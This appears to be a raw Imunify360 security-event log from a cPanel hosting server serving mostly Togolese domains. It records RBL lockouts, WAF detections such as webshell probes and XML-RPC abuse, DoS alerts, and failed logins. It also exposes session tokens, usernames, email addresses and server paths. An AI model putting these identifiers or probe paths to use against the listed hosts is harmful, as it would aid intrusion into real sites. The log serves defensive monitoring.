Jun 24 03:37:45 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 167.88.33.27 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 38.154.193.133
country_id: 6252001
domain: macite.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:38.154.193.133||TA:38.154.193.133||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.157
country_id: 130758
description:
Jun 24 03:42:48 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.157 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 217.69.127.159
country_id: 2635167
domain: macite.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:217.69.127.159||TA:217.69.127.159||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.169.136.182
country_id: 6252001
description:
Jun 24 03:43:55 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.169.136.182 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 147.90.235.20
country_id: 6252001
description:
147.90.235.20 - zxtqbmmj [24/Jun/2026:03:44:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13135505&pdata=https%253A%252F%252Fperfect-labo.com%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782272655 HTTP/2.0" 302 0 perfect-labo.com "https://perfect-labo.com:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:147.90.235.20


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.85.107.198
country_id: 3469034
description:
Jun 24 03:47:08 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.85.107.198 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.117.20.197
country_id: 3865483
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/1-1-768x576.webp HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.77.65.36
country_id: 2921044
description:
Jun 24 03:49:13 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.77.65.36 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 148.230.87.140
country_id: 6252001
description:
Jun 24 03:49:40 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 148.230.87.140 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 91.132.198.193
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:91.132.198.193||TA:91.132.198.193||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.40.89.57
country_id: 1210997
description:
Jun 24 03:51:40 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.40.89.57 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.47.25.139
country_id: 1880251
description:
Jun 24 03:53:04 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.47.25.139 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 204.101.161.15
country_id: 6251999
description:
204.101.161.15 - - [24/Jun/2026:03:52:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6592365&pdata=https%253A%252F%252Fautodiscover.afrique-distribution.net&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782273150 HTTP/2.0" 302 0 autodiscover.afrique-distribution.net "https://autodiscover.afrique-distribution.net/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:204.101.161.15


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 198.58.100.185
country_id: 6252001
domain: 35.162.208.238
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/35.162.208.238/azenv2.php HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 105.174.17.50
country_id: 3351879
description:
Jun 24 03:55:55 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 105.174.17.50 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.160
country_id: 130758
description:
Jun 24 03:55:57 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.160 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.112.179.35
country_id: 3469034
description:
Jun 24 03:58:02 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.112.179.35 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.215.79
country_id: 732800
description:
Jun 24 03:59:26 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.215.79 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.215.79
country_id: 732800
description:
Jun 24 03:59:33 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.215.79 has been locked due to Imunify RBL


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 120.27.244.193
country_id: 1814991
description:
Denial of Service (DoS) attack was discovered from 120.27.244.193: 80 connections per 30 seconds to 80 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.76.82.82
country_id: 2328926
description:
Jun 24 04:01:29 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.76.82.82 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.169.136.182
country_id: 6252001
description:
Jun 24 04:05:03 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.169.136.182 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.45.101.159
country_id: 1835841
description:
Jun 24 04:05:15 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.45.101.159 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.45.101.159
country_id: 1835841
description:
2026-06-24 04:05:17 dovecot_login authenticator failed for H=([118.45.101.159]) [118.45.101.159]:60799: 535 Incorrect authentication data (set_id=reseaux@soena.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.45
country_id: 6252001
description:
205.169.39.45 - - [24/Jun/2026:04:04:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6723230&pdata=http%253A%252F%252Fsahamtg.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782273883 HTTP/1.1" 302 0 sahamtg.com "http://sahamtg.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.45


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.139
country_id: 3175395
description:
Jun 24 04:04:58 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.139 has been locked due to Imunify RBL


plugin: ossec
rule: 11019
name: WHM session loaded via API from external IP
abuser: 203.147.139.82
country_id: 1831722
description:
[2026-06-24 04:07:25 +0000] info [whostmgrd] 203.147.139.82 NEW root:UTR1vFrdkf_EvxiD address=203.147.139.82,app=whostmgrd,creator=root,method=handle_form_login,path=loadsession:root:7IM8TUXGwVGvhdCL:create_user_session,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.112.108.23
country_id: 3175395
description:
Jun 24 04:07:56 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.112.108.23 has been locked due to Imunify RBL


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 64.23.185.161
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 64.23.185.161: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 92.63.100.67
country_id: 2017370
description:
[2026-06-24 04:12:18 +0000] info [cpaneld] 92.63.100.67 - cafe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafe (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.253.248.40
country_id: 130758
description:
Jun 24 04:13:40 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.253.248.40 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.40.89.57
country_id: 1210997
description:
Jun 24 04:15:21 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.40.89.57 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 82.167.22.102
country_id: 102358
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/partenariat-togo-banque-mondiale-sandra-ablamba-johnson-a-preside-une-table-ronde-sur-le-financement-des-tpme HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.136.180.139
country_id: 1814991
description:
Jun 24 04:15:34 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.136.180.139 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 80.94.92.92
country_id: 798549
description:
80.94.92.92 - ebbmnmtd [24/Jun/2026:04:16:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6581607&pdata=https%253A%252F%252Fmetaart.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782274617 HTTP/2.0" 302 0 metaart.tg "https://metaart.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:80.94.92.92


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.138.16.178
country_id: 798544
description:
Jun 24 04:18:15 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.138.16.178 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.77.65.36
country_id: 2921044
description:
Jun 24 04:18:22 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.77.65.36 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 148.230.87.140
country_id: 6252001
description:
Jun 24 04:18:38 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 148.230.87.140 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 209.227.239.96
country_id: 3175395
description:
209.227.239.96 - - [24/Jun/2026:04:20:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7391129&pdata=https%253A%252F%252Fmesyscom.com%252Fcontact&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782274822 HTTP/2.0" 302 0 mesyscom.com "https://mesyscom.com/contact" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.55 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:209.227.239.96


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 146.70.188.170
country_id: 732800
description:
[2026-06-24 04:19:42 +0000] info [cpaneld] 146.70.188.170 - enadamso "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user enadamso (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.138.16.178
country_id: 798544
description:
Jun 24 04:23:27 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.138.16.178 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.56.252.115
country_id: 3469034
description:
Jun 24 04:24:01 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.56.252.115 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.198.128.204
country_id: 1835841
description:
Jun 24 04:24:24 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.198.128.204 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.143.235.118
country_id: 1835841
description:
Jun 24 04:23:58 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.143.235.118 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.200.6.38
country_id: 3469034
description:
Jun 24 04:25:24 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.200.6.38 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.180.249.7
country_id: 1835841
description:
Jun 24 04:24:40 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.180.249.7 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 105.174.17.50
country_id: 3351879
description:
Jun 24 04:24:34 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 105.174.17.50 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.49
country_id: 6252001
description:
205.169.39.49 - - [24/Jun/2026:04:25:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10393497&pdata=http%253A%252F%252Fboutique.cafe.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782275111 HTTP/1.1" 302 0 boutique.cafe.tg "http://boutique.cafe.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.49


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.198.128.204
country_id: 1835841
description:
Jun 24 04:24:33 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.198.128.204 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 210.182.73.131
country_id: 1835841
description:
Jun 24 04:25:19 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 210.182.73.131 has been locked due to Imunify RBL


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 82.219.42.233
country_id: 2635167
description:
Denial of Service (DoS) attack was discovered from 82.219.42.233: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 74.63.26.237
country_id: 2635167
description:
Denial of Service (DoS) attack was discovered from 74.63.26.237: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.200.6.38
country_id: 3469034
description:
Jun 24 04:25:48 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.200.6.38 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 134.195.83.234
country_id: 6252001
description:
[2026-06-24 04:26:21 +0000] info [cpaneld] 134.195.83.234 NEW frtwilql:aROZrYQPHxUt0RIZ address=134.195.83.234,app=cpaneld,creator=frtwilql,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.44.214.73
country_id: 1814991
description:
2026-06-24 04:26:09 dovecot_login authenticator failed for H=(vrbwbo) [171.44.214.73]:63225: 535 Incorrect authentication data (set_id=administrator)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.63.138.70
country_id: 3469034
description:
Jun 24 04:27:14 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.63.138.70 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.44.214.73
country_id: 1814991
description:
2026-06-24 04:26:35 dovecot_login authenticator failed for H=(pzkrn) [171.44.214.73]:64684: 535 Incorrect authentication data (set_id=administrator@sigm.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.36.191.21
country_id: 2750405
description:
185.36.191.21 - - [24/Jun/2026:04:27:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9542343&pdata=https%253A%252F%252Fbutodra.tg%252Fwp-login.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782275255 HTTP/2.0" 302 0 butodra.tg "https://butodra.tg/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.36.191.21


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.164.151.251
country_id: 1269750
description:
Jun 24 04:37:49 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.164.151.251 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.40.89.57
country_id: 1210997
description:
Jun 24 04:39:07 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.40.89.57 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.157
country_id: 130758
description:
Jun 24 04:40:21 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.157 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.114.247.137
country_id: 3625428
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/gestion-des-finances-publiques-le-togo-elabore-un-repertoire-des-prix-des-biens-et-services/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 160.191.83.163
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/promotion-de-la-culture-au-togo-yawa-kouigan-recueille-les-idees-et-suggestions-des-artistes HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.130.84.20
country_id: 298795
description:
[2026-06-24 04:43:50 +0000] info [cpaneld] 37.130.84.20 - a.mathey "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.mathey (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 138.68.43.17
country_id: 6252001
description:
[2026-06-24 04:46:14 +0000] info [cpaneld] 138.68.43.17 - cafe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafe (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.169.136.182
country_id: 6252001
description:
Jun 24 04:47:22 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.169.136.182 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.226.88.121
country_id: 2661886
description:
2026-06-24 04:50:19 dovecot_plain authenticator failed for H=81-226-88-121-no600.tbcn.telia.com (ilteumity) [81.226.88.121]:47390: 535 Incorrect authentication data (set_id=admin@cloud-et-racks.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 24 04:50:50 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 86.53.163.167
country_id: 2635167
description:
Jun 24 04:49:50 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 86.53.163.167 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 24 04:50:50 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-24 04:50:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:42330: 535 Incorrect authentication data (set_id=top)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-24 04:50:08 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:10396: 535 Incorrect authentication data (set_id=radcliffe)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-24 04:50:19 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:5656: 535 Incorrect authentication data (set_id=sampling)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.178.194.136
country_id: 2017370
description:
Jun 24 04:50:42 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.178.194.136 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-24 04:50:11 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:58874: 535 Incorrect authentication data (set_id=qingdao)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 24 04:50:33 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-24 04:50:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:18128: 535 Incorrect authentication data (set_id=post_password)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.52
country_id: 798544
description:
Jun 24 04:49:38 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.52 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 52.238.198.211
country_id: 6252001
domain: lasnb.snb.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.19||T:APACHE||MV:/wp-admin/images/index.php||SC:/home/bighostingsnbd/public_html/siteweb/public/wp-admin||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 52.238.198.211
country_id: 6252001
domain: lasnb.snb.tg
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/bighostingsnbd/public_html/siteweb/public/wp-includes||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 24 04:50:36 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 24 04:50:37 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.178.194.136
country_id: 2017370
description:
2026-06-24 04:50:44 dovecot_login authenticator failed for H=([191.36.152.28]) [178.178.194.136]:37070: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 86.53.163.167
country_id: 2635167
description:
2026-06-24 04:49:52 dovecot_plain authenticator failed for H=(nb47h5x2tilzv2ag09o) [86.53.163.167]:60828: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-24 04:50:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:22496: 535 Incorrect authentication data (set_id=norris)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.117.184.157
country_id: 1269750
domain: arse.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:support!.arse.tg||ServerName:arse.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:014bc7205811beb0b28121a4bb6786ab51c97125||Title:vb4kjhn3sh90a39xnu||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.37.228
country_id: 2300660
description:
Jun 24 04:51:26 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.37.228 has been locked due to Imunify RBL


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 164.92.211.134
country_id: 2750405
domain: direct7.tg
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Macintosh; Intel Mac OS X 11_7_10) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.76.192.176
country_id: 1819730
description:
Jun 24 04:52:36 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.76.192.176 has been locked due to Imunify RBL


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 164.92.211.134
country_id: 2750405
domain: direct7.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.19||T:APACHE||MV:/wp-json/wp/v2/users/me||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.231.104.237
country_id: 2921044
description:
Jun 24 04:53:17 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.231.104.237 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.20.97.192
country_id: 1562822
description:
Jun 24 04:54:13 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.20.97.192 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 105.174.17.50
country_id: 3351879
description:
Jun 24 04:54:40 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 105.174.17.50 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.231.61.11
country_id: 798544
description:
